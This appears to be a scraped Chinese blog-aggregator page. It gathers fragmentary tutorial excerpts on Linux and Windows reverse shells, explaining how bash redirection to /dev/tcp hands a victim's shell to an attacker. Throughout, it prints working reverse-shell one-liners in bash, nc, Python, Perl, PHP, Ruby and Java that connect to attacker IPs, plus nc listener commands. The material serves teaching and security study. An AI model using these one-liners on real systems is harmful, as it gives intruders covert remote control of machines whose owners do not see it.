精华内容
下载资源
问答
  • linux反弹shell命令解析

    千次阅读 2020-09-29 10:19:56
    什么反弹shell2. 反弹shell的用途3. 反弹shell操作步骤4. 原理 1. 什么反弹shell 简单来说就是A主机可以通过执行B主机上的命令并且把返回值都返回到A上。 2. 反弹shell的用途 这个反弹shell大部分用途是用来...

    1. 什么是反弹shell

    简单来说就是A主机可以通过执行B主机上的命令并且把返回值都返回到A上。

    2. 反弹shell的用途

    这个反弹shell大部分用途是用来侵入别人的主机。就是因为感觉很厉害的样子,所以才来研究这家伙

    3. 反弹shell操作步骤

    3.1. 在本机开启端口9090

    nc -lk 9090
    

    3.2. 在需要被控制的机器上执行如下两种命令中的一种即可

    bash -i >& /dev/tcp/10.0.0.1/9090 0>&1
    

    3.3. 在本机刚才执行nc -lk 9090命令行下面输入需要被控制的主机的命令即可

    4. 原理

    A主机开启9090端口的tcp服务
    
    B主机连接到A主机的9090的tcp服务
    
    A主机通过tcp服务把命令发到B主机
    
    B主机读取命令并且在bash中执行
    
    B主机把执行结果发给A主机
    

    这样就可以在A主机中’玩弄’B主机了
    下面重点来了

    我们看这个操作其实还是蛮简单的,但是我们不能只局限于表面。我们需要去了解它的原理
    其实nc -lk 9090命令没什么可说的,百度google一搜就出来了。我们今天要去解释的是bash -i >& /dev/tcp/10.0.0.1/9090 0>&1。这条命令在google也没搜出来什么结果。所以只能自己加夜班搞了。

    inux shell下常用的文件描述符是:

    标准输入 (stdin) :代码为 0 ,使用 < 或 << ;
    
    标准输出 (stdout):代码为 1 ,使用 > 或 >> ;
    
    标准错误输出(stderr):代码为 2 ,使用 2> 或 2>>。
    

    首先我们把这个命令拆解一下

    bash -i # 这个也不知道说啥

    & # 这条命令 其实就是把stderr也输入到 stdout。它相当于 > xxx 2>&1
    /dev/tcp/10.0.0.1/9090 # 这个就是连接到10.0.0.1的9090端口
    0>&1 # 这个在google百度上查了半天也没搞懂,只能去研究文档

    其实前面3个命令组合在一起很好理解,就是把这个bash下的所有输出都发送到 10.0.0.1:9090。这个大家可以自己操作一下,去掉后面的 0>&1。

    我们在命令里面写 2>&1都很好理解,就是把error重定向到stdout。但是0>&1好像不太好理解,我们看下文件描述符

    在这里插入图片描述

    这里看到的是2>&1就是把文件描述符2对应的设备改成了文件描述符1对应的设备。那么同理 0>&1就是把 0对应的设备改成的1对应的设备,那也就是socket。这就表明了 stdin就是从socket中读取数据,然后再执行命令,把bash的命令行返回内容通过stdout发到socket。

    其实这些内容都可以在bash的man pages里面找到

    在这里插入图片描述

    文档里面写的很清楚 n<&word 是吧word复制给n, n>&word是吧word复制给n。
    所以这里写 0<&1 或者是 0>&1都是可以的,只要把文件描述符1对应的设备复制给文件描述符0就可以了

    展开全文
  • 正向反弹shell ubuntu或者CentOS上面输入 nc -lvp 7777 -e /bin/bash kali上输入 nc ip 7777 正向反弹是目标机先执行nc命令,然后kali上再进行nc监听,即可反弹shell。 需要目标机安装nc。 反向反弹shell 方法1...
  • 主要介绍了Linux下NC反弹shell命令,非常不错,具有参考借鉴价值,需要的的朋友参考下吧
  • PHP脚本反弹SHELL

    2014-10-20 13:54:21
    此脚本可以反弹SHELL到指定地址,得到交互交shell
  • 反弹shell

    2021-07-29 14:01:24
    什么反弹shell?  反弹shell(reverse shell),就是控制端监听在某TCP/UDP端口,被控端(普通人)发起请求到该端口,并将其命令行的输入输出转到控制端(黑客)。reverse shell与telnet,ssh等标准shell对应,...

    感谢:https://zhuanlan.zhihu.com/p/138393396

    https://www.cnblogs.com/iouwenbo/p/11277453.html

    什么是反弹shell?

      反弹shell(reverse shell),就是控制端监听在某TCP/UDP端口,被控端(普通人)发起请求到该端口,并将其命令行的输入输出转到控制端(黑客)。reverse shell与telnet,ssh等标准shell对应,本质上是网络概念的客户端与服务端的角色反转。

    为什么要反弹shell?

    通常用于被控端因防火墙受限、权限不足、端口被占用等情形。

    举例:假设我们攻击了一台机器,打开了该机器的一个端口,攻击者在自己的机器去连接目标机器(目标ip:目标机器端口),这是比较常规的形式,我们叫做正向连接。远程桌面、web服务、ssh、telnet等等都是正向连接。

    那么什么情况下正向连接不能用了呢?有如下情况:

    1.某客户机中了你的网马,但是它在局域网内,你直接连接不了。

    2.目标机器的ip动态改变,你不能持续控制。

    3.由于防火墙等限制,对方机器只能发送请求,不能接收请求。

    4.对于病毒,木马,受害者什么时候能中招,对方的网络环境是什么样的,什么时候开关机等情况都是未知的,所以建立一个服务端让恶意程序主动连接,才是上策。

    那么反弹就很好理解了,攻击者指定服务端,受害者主机主动连接攻击者的服务端程序,就叫反弹连接。

    https://www.zhihu.com/question/24503813

    先知社区:Linux 反弹shell(二)反弹shell的本质

    https://xz.aliyun.com/t/2549

    FREEBUF:浅析重定向与反弹Shell命令 https://www.freebuf.com/articles/system/153986.html

    名词解释:

    1. nc -lvp 2222

    -l 监听,-v 输出交互或出错信息,-p 端口。nc是netcat的简写,可实现任意TCP/UDP端口的侦听,nc可以作为server以TCP或UDP方式侦听指定端口。

    2. bash -i

    -i interactive。即产生一个交互式的shell(bash)。

    3. /dev/tcp/IP/PORT

    特殊设备文件(Linux一切皆文件),实际这个文件是不存在的,它只是 bash 实现的用来实现网络请求的一个接口。打开这个文件就相当于发出了一个socket调用并建立一个socket连接,读写这个文件就相当于在这个socket连接中传输数据。

    说明:因为是基于win平台测试的,windows端的nc在nmap目录中的名字为ncat,所以图中执行的命令为ncat,linux中为nc。

    举个例子1🌰:

    攻击端

    192.168.100.222

    受害端

    192.168.100.123

    1、执行

    nc -lvp 2222

    1、执行(严格注意命令之间的空格,注意尖括号的方向)

    bash -i >& /dev/tcp/192.168.100.222/2222 0>&1

    2、“受害端”执行后“攻击端”即反弹shell成功,如下图

    2、这时“受害端”控制台处于前台运行模式,不可交互,ctrl+c和ctrl+z都无法中断;

    3、ctrl+c即可退出;

    4、所有执行的命令“受害端”均不显示。

    3、“受害端”不知道“攻击端”执行了哪些操作,历史history也不显示;

    “攻击端”可以执行任何“受害端”系统支持的命令获得数据且“受害端”无回显。

    举个例子2🌰:

    攻击端

    192.168.100.222

    受害端

    192.168.100.123

    1、执行

    nc -lvp 2222

    1、执行(严格注意命令之间的空格,注意尖括号的方向)

    bash -i > /dev/tcp/192.168.100.222/2222

    不可执行命令,只能看到“受害端”执行的结果回显;

    能交互,但是无回显数据,数据被返回到“攻击端”,“攻击端”可看到其所执行的丹惠数据,如下图:

    将“受害端”的标准输出重定向到“攻击端”显示出来,但是没实现用命令控制“受害端”;

    【受害者执行的结果会返回到侵入者的屏幕上】

    举个例子3🌰:

    攻击端

    192.168.100.222

    受害端

    192.168.100.123

    1、执行

    nc -lvp 2222

    1、执行(严格注意命令之间的空格,注意尖括号的方向)

    bash -i < /dev/tcp/192.168.100.222/2222

    与例子2相反,“攻击端”执行命令,攻击端不回显,“受害端”回显“攻击端”的命令结果;

    回显“攻击端”的命令执行结果;

    “攻击端”所执行的命令只显示在“受害端”,“攻击端”只显示命令;

    举个例子4🌰:

    攻击端

    192.168.100.222

    受害端

    192.168.100.123

    1、执行

    nc -lvp 2222

    1、执行(严格注意命令之间的空格,注意尖括号的方向)

    bash -i > /dev/tcp/192.168.100.222/2222 0>&1

    “攻击端”执行的命令和结果都会回显出来;

    错误的命令“攻击端”不会有任何提示;

    “受害端”只显示“攻击端”执行过的命令,对于“攻击端”错误的命令会进行提示;

    “攻击端”所执行的命令,除错误命令外,均会显示在“攻击端”,“受害端”只显示“攻击端”执行的错误命令的回显;

    举个例子5🌰:

    整合以上几种的优缺点

    攻击端

    192.168.100.222

    受害端

    192.168.100.123

    1、执行

    nc -lvp 2222

    1、执行(严格注意命令之间的空格,注意尖括号的方向)

    bash -i > /dev/tcp/192.168.100.222/2222 0>&1

    “攻击端”所执行的全部命令均会回显在在“攻击端”,“受害端”不显示任何;

    展开全文
  • 使用邮件地址作为反弹shell的服务器地址,用于windows的反弹shell,可在编译时选择隐藏弹出窗口 This golng reverse shell fetches the address from your latest email subject, and the subject should be like ...
  • 什么反弹shell,以及对反弹shell作用原理的解析:3.反弹shell的本质linux文件描述符重定向输入重定向输出重定向标准输出与标准错误输出重定向文件描述符的复制exec 绑定重定向对反弹shell执行的实例分析:>&...


    一.什么是反弹shell,以及对反弹shell作用原理的解析:

    1.定义

    通俗来说,shell就是实现用户命令的接口,通过该接口我们能实现对计算机的控制(root权限),
    而反弹shell就是将shell反弹给攻击者,从而达到让攻击者可以在自己的机器上执行shell命令,
    从而操控受害者的计算机。
    

    标准说法:
    reverse shell,就是控制端监听在某TCP/UDP端口,被控端发起请求到该端口,并将其命令行的输入输出转到控制端。reverse shell与telnet,ssh等标准shell对应,本质上是网络概念的客户端与服务端的角色反转。

    2.为什么要反弹shell

    通常用于被控端因防火墙受限、权限不足、端口被占用等情形

    假设我们攻击了一台机器,打开了该机器的一个端口,攻击者在自己的机器去连接目标机器(目标ip:目标机器端口),这是比较常规的形式,我们叫做正向连接。远程桌面,web服务,ssh,telnet等等,都是正向连接。那么什么情况下正向连接不太好用了呢?

    1.某客户机中了你的网马,但是它在局域网内,你直接连接不了。

    2.它的ip会动态改变,你不能持续控制。

    3.由于防火墙等限制,对方机器只能发送请求,不能接收请求。

    4.对于病毒,木马,受害者什么时候能中招,对方的网络环境是什么样的,什么时候开关机,都是未知,所以建立一个服务端,让恶意程序主动连接,才是上策。

    那么反弹就很好理解了, 攻击者指定服务端,受害者主机主动连接攻击者的服务端程序,就叫反弹连接。

    3.反弹shell的本质

    参考这篇文章:
    https://xz.aliyun.com/t/2549 先知社区:Linux 反弹shell(二)反弹shell的本质
    最好也看看第一篇文章,可以对反弹shell有一个深刻的理解。

    首先对反弹shell执行的前提来说明一下:

    第一步:要有一个可以被监听的端口,通常使用nc命令。
    eg:nc -lvp 6767

    解析:-l 监听,-v 输出交互或出错信息,-p 端口。nc是netcat的简写,可实现任意TCP/UDP端口的侦听,nc可以作为server以TCP或UDP方式侦听指定端口。

    第二步:要产生一个交互式的shell,使用bash -i

    解析:bash 是linux 的一个比较常见的shell,其实linux的shell还有很多,比如 sh、zsh、等,他们之间有着细小差别, -i 这个参数表示的是产生交互式的shell

    第三步:我们为什么要监听一个端口,就是因为存在一个特殊设备文件(/dev/tcp/ip/root),如果你在任何一方监听端口的情况下对这个文件进行读写,就能实现与监听端口的服务器(即攻击者(攻击者作为服务器,而受害者作为客户端,反弹shell就是让受害者主动与服务端-攻击者建立通信))的socket通信。

    特殊设备文件(Linux一切皆文件),实际这个文件是不存在的,它只是 bash 实现的用来实现网络请求的一个接口。打开这个文件就相当于发出了一个socket调用并建立一个socket连接,读写这个文件就相当于在这个socket连接中传输数据。

    /dev/tcp|udp/ip/port 这个文件是特别特殊的,实际上可以将其看成一个设备(Linux下一切皆文件),其实如果你访问这个文件的位置他是不存在的,如下图:
    在这里插入图片描述

    标准输入standard input 0 (默认设备键盘)
    标准输出standard output 1(默认设备显示器)
    错误输出:error output 2(默认设备显示器)

    linux文件描述符

    可以理解为linux跟踪打开文件,而分配的一个数字,这个数字有点类似c语言操作文件时候的句柄,通过句柄就可以实现文件的读写操作。

    当Linux启动的时候会默认打开三个文件描述符(0,1,2)

    注意:
    (1)以后再打开文件,描述符可以依次增加
    (2)一条shell命令,都会继承其父进程的文件描述符,因此所有的shell命令,都会默认有三个文件描述符。

    文件所有输入输出都是由该进程所有打开的文件描述符控制的。(Linux一切皆文件,就连键盘显示器设备都是文件,因此他们的输入输出也是由文件描述符控制)

    一条命令执行以前先会按照默认的情况进行绑定(也就是上面所说的 0,1,2),如果我们有时候需要让输出不显示在显示器上,而是输出到文件或者其他设备,那我们就需要重定向。

    重定向

    重定向主要分为两种(其他复杂的都是从这两种衍生而来的):

    (1)输入重定向 < <<
    (2)输出重定向 > >>

    重点:
    1.bash 在执行一条指令的时候,首先会检查命令中存不存在重定向的符号,如果存在那么首先将文件描述符重定向(之前说过了,输入输出操作都是依赖文件描述符实现的,重定向输入输出本质上就是重定向文件描述符),然后在把重定向去掉,执行指令

    2.如果指令中存在多个重定向,那么不要随便改变顺序,因为重定向是从左向右解析的,改变顺序可能会带来完全不同的结果(这一点我们后面会展示)

    3.< 是对标准输入 0 重定向 ,> 是对标准输出 1 重定向

    4.再强调一下,重定向就是针对文件描述符的操作

    输入重定向

    格式: [n]< word (注意[n]与<之间没有空格)

    说明:将文件描述符 n 重定向到 word 指代的文件(以只读方式打开),如果n省略就是0(标准输入)

    输出重定向

    格式: [n]> word

    说明: 将文件描述符 n 重定向到word 指代的文件(以写的方式打开),如果n 省略则默认就是 1(标准输出)

    标准输出与标准错误输出重定向

    格式: &> word >& word

    说明:将标准输出与标准错误输出都定向到word代表的文件(以写的方式打开),两种格式意义完全相同,这种格式完全等价于 > word 2>&1 (2>&1 是将标准错误输出复制到标准输出,&是为了区分文件1和文件描述符1的,详细的介绍后面会有)

    在这里插入图片描述

    这种复制方法就是我们常用的打团shell方法。
    可以形成一个回路,只需要在攻击者机器上进行操作就可以得到,受害者的所有结果。

    文件描述符的复制

    格式: [n]<&[m] / [n]>&[m] (这里所有字符之间不要有空格)

    说明:

    1)这里两个都是将文件描述符 n 复制到 m ,两者的区别是,前者是以只读的形式打开,后者是以写的形式打开

    因此 0<&1 和 0>&1 是完全等价的(读/写方式打开对其没有任何影响)

    2)这里的& 目的是为了区分数字名字的文件和文件描述符,如果没有& 系统会认为是将文件描述符重定向到了一个数字作为文件名的文件,而不是一个文件描述符

    这里就可以用上面的例子作为演示,将错误和正确的输出都输入到文件中,

    之前我们说过,重定向符号的顺序不能随便换,因为系统是从左到右执行的,我们下面就举一个例子

    (2)cmd 2>&1 >file

    1.首先解析器解析到 2>&1
    在这里插入图片描述
    2.解析器再向后解析到 “>”

    在这里插入图片描述

    exec 绑定重定向

    格式:exec [n] </> file/[n]

    上面的输入输出重定向将输入和输出绑定文件或者设备以后只对当前的那条指令有效,如果需要接下来的指令都支持的话就需要使用 exec 指令

    重点:

    格式: [n]<>word

    说明:以读写方式打开word指代的文件,并将n重定向到该文件。如果n不指定的话,默认为标准输入。

    在这里插入图片描述
    文件描述符和重定向的作用巨大,很好的体现出了Linux中一切皆文件的特性,在反弹shell建立交互通道的过程中也起到了至关重要的作用。

    对反弹shell执行的实例分析:

    实验环境:

    受害者:

    Ubuntu Linux ------> 192.168.146.128

    攻击者:

    Kali Linux ------> 192.168.146.129

    那么为什么要让客户端(受害者)与服务端(攻击者)进行通信呢?

    那就是因为,为了实现交互,我们需要把受害者交互式shell的输出重定向到攻击机上,

    bash -i > /dev/tcp/192.168.146.129/2333
    

    在这里插入图片描述
    如下图所示,任何在受害者机器上执行的指令都不会直接回显了,而是在攻击者机器上回显。

    在这里插入图片描述
    在这里插入图片描述
    但是这里有一个问题,攻击者没有能够实现对受害者的控制,攻击者执行的命令没法在受害者电脑上执行。

    于是我们似乎还需要一条这样的指令

    bash -i < /dev/tcp/192.168.146.129/2333
    

    在这里插入图片描述
    这条指令的意思是将攻击者输入的命令输入给受害者的bash,自然就能执行了。

    现在我们需要将两条指令结合起来(如果这条指令看不懂可以去看一下我上面提供的文章的链接再回来看这条指令):

    bash -i 1> /dev/tcp/192.168.146.129/2333 0>&1
    

    描述符的复制:[n]<&[m] / [n]>&[m]
    0<&1 和 0>&1 是完全等价的(读/写方式打开对其没有任何影响)

    示意图:
    在这里插入图片描述
    由这张示意图可以很清楚地看到,输入0是由/dev/tcp/192.168.146.129/2333 输入的,也就是攻击机的输入,命令执行的结果1,会输出到/dev/tcp/192.168.146.129/2333上,这就形成了一个回路,实现了我们远程交互式shell 的功能。

    注意:
    但是这里有一个问题,就是我们在受害者机器上依然能看到我们在攻击者机器中执行的指令 ,如下图所示,我们马上解决

    在这里插入图片描述

    >&、&>

    这个符号在我附上链接的那篇文章中也提到了,作用就是混合输出(错误、正确输出都输出到一个地方)

    示意图:

    在这里插入图片描述

    现在我们解决一下前面的问题:

    bash -i > /dev/tcp/192.168.146.129/2333 0>&1 2>&1
    

    对这条命令的解析:

    将所有的输出都复制给1,但是

    当然我们也可以执行与之完全等价的指令

    bash -i >& /dev/tcp/192.168.146.129/2333 0>&1

    反弹shell一般分为linux和Windows两种。

    Linux之bash反弹shell原理浅析

    常见的反弹shell的技巧

    bash反弹

    个人感觉bash反弹是最简单、也是最常见的一种。

    bash -i >& /dev/tcp/192.168.20.151/8080 0>&1
    bash一句话命令详解
    以下针对常用的bash反弹一句话进行了拆分说明,具体内容如下。

    bash -i >& /dev/tcp/192.168.20.151/8080 0>&1
    

    bash一句话命令详解
    以下针对常用的bash反弹一句话进行了拆分说明,具体内容如下。
    在这里插入图片描述

    就是将受害者的标准输出和错误输出都重定向给攻击者的机器,并且将攻击者的输入都重定向给受害者的机器,通过/dev/tcp/ip/port这个特殊的设备文件建立端口连接来传送数据。包括交互式的shell。

    其实以上bash反弹一句完整的解读过程就是:
    bash产生了一个交互环境与本地主机主动发起与目标主机8080端口建立的连接(即TCP 8080 会话连接)相结合,然后在重定向个tcp 8080会话连接,最后将用户键盘输入与用户标准输出相结合再次重定向给一个标准的输出,即得到一个bash 反弹环境。
    在反弹shell时要借助netcat工具反弹

    NC反弹

    一般都是通过拿到webshell将nc上传到指定文件夹,然后再
    Netcat 一句话反弹:Netcat反弹也是非常常用的方法,只是这个方法需要我们手动去安装一个NC环境

    nc 反向反弹shell 是在攻击者主机上监听端口,然后靶机连接。

    开启外网主机监听

    root@kali:~# nc -lvvp 6666(本地监听)
    listening on [any] 8080 …

    先用kali开启监听:
    然后centos执行bash一句话。

    nc -e /bin/bash 192.168.43.133 6666

    nc 192.168.31.151 7777 -t /bin/bash
    命令详解:通过webshell我们可以使用nc命令直接建立一个tcp 8080 的会话连接,然后将本地的bash通过这个会话连接反弹给目标主机(192.168.31.151)。

    以上是针对 Linux 操作系统的反弹 Shell 的方式,如果目标是windows系统,只需要把/bin/bash换成cmd.exe绝对路径即可,当然这个cmd.exe可以是C:\Windows\System32\cmd.exe,亦可以是通过webshell上传的cmd.exe,实战的话后者更多一点。

    NC常见使用方法

    Python反弹

    有一种现实的情况是,现实的受害主机可能不会给你提供 netcat 的环境,你也不会那么轻易成功将 nc 上传至靶机,所以更多的情况需要你就地取材,网上有大佬整理了各种版本的反弹 shell 的脚本语言写法,在此借鉴:

    1、Python版本:
    python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('ip',port));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"
    
    2、Perl版本:
    perl -e 'use Socket;$i="192.168.10.13";$p=8888;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
     
    3PHP版本:
    php -r '$sock=fsockopen("192.168.10.13",8888);exec("/bin/sh -i <&3>&3 2>&3");'
     
    4、Ruby版本:
    ruby -rsocket -e'f=TCPSocket.open("192.168.10.13",8888).to_i;exec sprintf("/bin/sh -i <&%d>&%d 2>&%d",f,f,f)'
     
    5、Java版本:
    r = Runtime.getRuntime() p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/192.168.10.13/8888;cat <&5 2="" |="" while="" read="" line;="" do="" \$line="">&5 >&5; done"] as String[]) p.waitFor()
    

    下面演示一下 Python 脚本语言反弹 Shell 的方法:

    1、首先使用 nc 在 Kali 上监听端口:

    在这里插入图片描述
    2、在 Ubuntu 虚拟机下使用 Python 脚本去反向连接,如下:

    在这里插入图片描述

    此外还有php反弹shell,以及使用msf框架生成的木马来反弹shell。

    此外反弹shell还经常需要使用端口转发和正向代理:
    参考这篇文章
    在这里插入图片描述

    展开全文
  • php反弹shell实现代码

    2020-10-30 00:12:50
    遇到一个BT的网站,上传php文件成功之后,每访问一次,文件名就会随机改变一次,并且你访问当前文件如果点其他操作项,文件仍然会改名。
  • cmd反弹shell提权

    2012-10-24 19:33:50
    cmd反弹shell提权
  • linux 反弹shell

    2021-05-19 07:24:09
    #include #include #include #include #include #include #include void usage...char shell[]="/bin/sh";char message[]="s8s8 welcome\n";int sock;int main(int argc, char *argv[]) {if(argc <3){usage(argv[...

    #include

    #include

    #include

    #include

    #include

    #include

    #include

    void usage();

    char shell[]="/bin/sh";

    char message[]="s8s8 welcome\n";

    int sock;

    int main(int argc, char *argv[]) {

    if(argc <3){

    usage(argv[0]);

    }

    struct sockaddr_in server;

    if((sock = socket(AF_INET, SOCK_STREAM, 0)) == -1) {

    printf("Couldn't make socket!\n"); exit(-1);

    }

    server.sin_family = AF_INET;

    server.sin_port = htons(atoi(argv[2]));

    server.sin_addr.s_addr = inet_addr(argv[1]);

    if(connect(sock, (struct sockaddr *)&server, sizeof(struct sockaddr)) == -1) {

    printf("Could not connect to remote shell!\n");

    exit(-1);

    }

    send(sock, message, sizeof(message), 0);

    dup2(sock, 0);

    dup2(sock, 1);

    dup2(sock, 2);

    execl(shell,"/bin/sh",(char *)0);

    close(sock);

    return 1;

    }

    void usage(char *prog[]) {

    printf("\t\ts8s8 connect back door\n\n");

    printf("\t sql@s8s8.net\n\n");

    printf("Usage: %s \n", prog);

    exit(-1);

    }

    gcc -o f f.c

    再在本机上监听一个端口

    nc -l -p 8888

    再执行./f 192.168.1.14 8888

    注:反弹回来的 shell没提示符。

    展开全文
  • 反弹Shell的方式和详解

    千次阅读 多人点赞 2020-06-18 11:47:13
    文章目录一、介绍1.1 含义1.2 目的二、反弹方式2.1 Bash反弹shell2.1.1 适用对象2.1.2 操作方法2.1.3 命令原理 声明:以下的反弹shell的介绍只适用于学习和授权情况下的操作,请勿用于非法环境! 一、介绍 1.1 ...
  • 反弹shell的总结

    2021-01-07 14:43:45
    ctf中经常执行命令没有回显,需要进行反弹shell,而不同的环境反弹shell的姿势也不尽相同,所以就在这里总结一下,自己以后遇到了什么新的姿势都会加进来。 比较常见的姿势 比较常见的基本就是bash反弹,python反弹和...
  • 反弹是shell攻击者拿来控制目标网站服务器的1种方式。目标网站服务器主动发出网络连接请求,将网站服务器命令...云上的现状通过分析云上近三年的Linux网站服务器入侵恶性事件,反弹shell建立的语言和软件在攻击环...
  • 反弹shell汇总,看我一篇就够了

    千次阅读 2020-12-26 14:24:03
    反弹shell 知识铺垫 什么是shell shell是渗透中常用的名词,像getshell,webshell,反弹shell等等,都和shell相关。 getshell:获取到目标的命令执行权限 webshell:指网站后门,通过web服务进行命令执行 反弹shell...
  • Redis 未授权检测,密码爆破,Webshell写入,SSH公私钥写入,定时计划反弹Shell Usage:python3 RedisGetshell.py -H 127.0.0.1 -P 6379 还可以更完善的,后面有时间了就修改哈! Webshell SSH crontab
  • 反弹Shell小结

    千次阅读 2021-01-15 02:12:32
    1、NC反弹shell1.1、正向反弹shell服务器nc -lvvp 7777 -e /bin/bash攻击机nc server-ip 77771.2、反向反弹shell攻击机nc -lvvp 7777服务器nc -e /bin/bash Client-ip 77771.3、不带-e反弹:2、 bash反弹shell2.1 ...
  • 反弹shell往往是在攻击者无法直接连接受害者的情况下进行的操作,原因有很多,例如目标是局域网,或者开启防火墙的某些策略等情况,而这时,我们就可以让受害者主动向攻击者发起连接,被控端发起请求到控制端某端口...
  • 反弹shell的各种姿势

    千次阅读 2021-01-15 02:12:15
    在渗透过程中,往往因为端口限制而无法直连目标机器,此时需要通过反弹shell来获取一个交互式shell,以便继续深入。反弹shell是打开内网通道的第一步,也是权限提升过程中至关重要的一步。所有姿势整理自网络,假设...
  • PHP反弹shell

    千次阅读 2019-09-26 17:59:58
    ②、假设木马已上传至服务器且可以访问(即执行代码才能反弹shell)。 ③、攻击机器和受害服务器要处于同一网段。 1、划线为攻击机的IP+端口。 2、攻击机监听自身端口4444,即可获取执行shell。 <?php ...
  • 反弹shell姿势复现(一)前言复现环境说明反弹shell姿势(一)--- 利用bash反弹shell重要说明方法一方法二 前言     反弹shell有很多种方式,这个系列内容较多,之后也会不断更新,对于反弹...
  • linux反弹shell

    2021-03-13 08:26:40
    xterm-display attackerip:1或者:$ DISPLAY=attackerip:0 xterm msfvenom生成web反弹shell msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.1.2 LPORT=1234 -f raw > test.php 生成后要将脚本最前面的注释...
  • Linux反弹Shell方法

    2021-02-08 18:23:38
    文章目录Linux反弹Shell方法Linux标准文件描述符更改标准输出的位置更改标准输入的位置/dev/null重定向输入重定向输出重定向管道反弹shell的本质什么反弹shell实现控制端和被控端之间的交互反弹shell方法...
  • 关于反弹shell的理解

    2019-03-22 09:40:33
    想要搞清楚这个问题,首先要搞清楚什么反弹,为什么反弹。 假设我们攻击了一台机器,打开了该机器的一个端口,攻击者在自己的机器去连接目标机器(目标ip:目标机器端口),这是比较常规的形式,我们叫做正向...
  • 文章目录反弹shell介绍常用反弹方式NetCat(NC)反弹正向NC反向NCmshta.exe利用msf利用模块方法一(msfconsole)方法二(msfvenom)Cobaltstrike利用模块hta攻击源码rundll32.exe利用msf利用模块方法一(msfconsole)方法...
  • 主要介绍了利用python模拟菜刀反弹shell绕过限制,本文给大家介绍的非常详细,具有一定的参考借鉴价值,需要的朋友可以参考下
  • Windows下反弹shell的方法

    千次阅读 2019-07-16 22:51:06
    1.powercat反弹shell powercat(https://github.com/besimorhino/powercat )为Powershell版的Netcat,实际上是一个powershell的函数,使用方法类似Netcat 首先攻击者开启监听 nc -lvp 6666 或者使用powercat监听 ...
  • 反弹shell常用命令

    2021-01-15 17:04:11
    反弹shell常用命令 1 attacker端的监听——netcat (1) windows环境下下载netcat 下载地址 将如图的nc.exe所在文件夹添加到环境变量 (2) linux环境下下载netcat yum install netcat (3) 安装结束 使用如下命令判断...
  • 反弹shell总结

    2021-05-08 04:04:14
    1.bash反弹bash -i >& /dev/tcp/ip_address/port 0>&12.nc反弹nc -e /bin/sh 192.168.2.130 44443.pythonimport socket,subprocess,oss =socket.socket(socket.AF_INET,socket.SOCK_STREAM)s.connect...
  • 反弹shell的几种方式总结

    千次阅读 2021-01-15 02:12:38
    1、Bash环境下反弹TCP协议shell首先在本地监听TCP协议443端口nc-lvp443然后在靶机上执行如下命令:bash-i>&/dev/tcp/10.10.10.11/4430>&1/bin/bash-i>/dev/tcp/10.10.10.11/4430&1exec5&l...

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 14,279
精华内容 5,711
关键字:

什么叫反弹shell